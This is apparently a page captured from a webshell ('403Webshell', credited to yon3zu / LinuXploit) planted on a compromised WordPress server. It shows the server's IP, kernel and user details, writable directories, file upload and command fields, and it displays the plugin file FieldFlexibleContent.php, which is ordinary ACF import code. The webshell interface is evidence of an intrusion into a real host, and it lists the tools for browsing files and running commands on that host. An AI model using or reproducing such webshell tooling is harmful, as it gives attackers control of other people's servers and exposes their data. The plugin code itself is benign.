403Webshell
Server IP : 5.129.245.98  /  Your IP : 216.73.217.19
Web Server : Apache/2.4.66 (Debian)
System : Linux 1b8c17c336b9 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/wpai-acf-add-on/src/fields/acf/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/wpai-acf-add-on/src/fields/acf/FieldFlexibleContent.php
<?php

namespace wpai_acf_add_on_pro\fields\acf;

use pmai_acf_add_on\ACFService;
use pmai_acf_add_on\fields\Field;
use pmai_acf_add_on\fields\FieldFactory;

/**
 * Class FieldFlexibleContent
 * @package pmai_acf_add_on\fields\acf
 */
class FieldFlexibleContent extends Field {

    /**
     *  Field type key
     */
    public $type = 'flexible_content';

    /**
     *
     * Parse field data
     *
     * @param $xpath
     * @param $parsingData
     * @param array $args
     */
    public function parse($xpath, $parsingData, $args = array()) {

        parent::parse($xpath, $parsingData, $args);

        $values = array();

        if (!empty($xpath['layouts']) and count($xpath['layouts']) > 1) {

            $field = $this->getData('field');

            $values = array();

            unset($xpath['layouts']['ROWNUMBER']);

            foreach ($xpath['layouts'] as $key => $layout_fields) {

                $row_array = array();

                $current_field = FALSE;

                foreach ($field['layouts'] as $layout) {
                    if ($layout['name'] == $layout_fields['acf_fc_layout']) {
                        $current_field = $layout;
                        break;
                    }
                }

                $row_array['acf_fc_layout'] = $layout_fields['acf_fc_layout'];

                if (!empty($current_field['sub_fields']) and is_array($current_field['sub_fields'])) {
                    foreach ($current_field['sub_fields'] as $n => $sub_field) {
                        $childField = FieldFactory::create($sub_field, $this->getData('post'), $this->getOption('field_path') . "[" . $field['key'] . "][layouts][" . $key . "]", $this);
                        $childField->parse($layout_fields[$sub_field['key']], $this->parsingData, array(
                          'field_path' => $this->getOption('field_path') . "[" . $field['key'] . "][layouts][" . $key . "]"
                        ));
                        $row_array['fields'][$sub_field['key']] = $childField;
                    }
                }
                $values[] = $row_array;
            }
        }
        $this->setOption('values', $values);
    }

    /**
     * @param $importData
     * @param array $args
     * @return mixed
     */
    public function import($importData, $args = array()) {
        $isUpdated = parent::import($importData, $args);
        if (!$isUpdated){
            return FALSE;
        }
        $values = $this->getOption('values');
        $layouts = array();
	    $layout_number = 0;
        foreach ($values as $layout) {
            if (!empty($layout['fields'])) {
                /** @var Field $subField */
                foreach ($layout['fields'] as $sub_field_key => $subField) {
                    // Init importData in all sub fields.
                    $subField->importData = $importData;
                }
                if ($this->isImportLayout($layout['fields'])) {
                    $layouts[] = $layout['acf_fc_layout'];
                    /** @var Field $subField */
                    foreach ($layout['fields'] as $sub_field_key => $subField) {
                    	if ($subField->getType() == 'empty') {
                    		continue;
	                    }
                        $subField->import($importData, array('container_name' => $this->getFieldName() . "_" . $layout_number . "_"));
                    }
	                $layout_number++;
                }
            }
        }
        ACFService::update_post_meta($this, $this->getPostID(), $this->getFieldName(), $layouts);
    }

    /**
     * @param $fields
     * @return bool
     */
    protected function isImportLayout($fields){
        $isImportLayout = false;
        /** @var Field $field */
        foreach ($fields as $field){
            if ($field->isNotEmpty()){
                $isImportLayout = true;
                break;
            }
        }
        return $isImportLayout;
    }

    /**
     * @return int
     */
    public function getCountValues($parentIndex = false) {
        $values = $this->getOption('values');
        $countRows = 0;
        foreach ($values as $layout_number => $layout) {
            if (!empty($layout['fields'])) {
                /** @var Field $sub_field */
                foreach ($layout['fields'] as $sub_field_key => $sub_field) {
                    $sub_field->importData = $this->getImportData();
                    $count = $sub_field->getCountValues($parentIndex);
                    if ($count > $countRows){
                        $countRows = $count;
                    }
                }
            }
        }
        return $countRows;
    }

    /**
     * @return bool
     */
    public function getOriginalFieldValueAsString() {
        return false;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit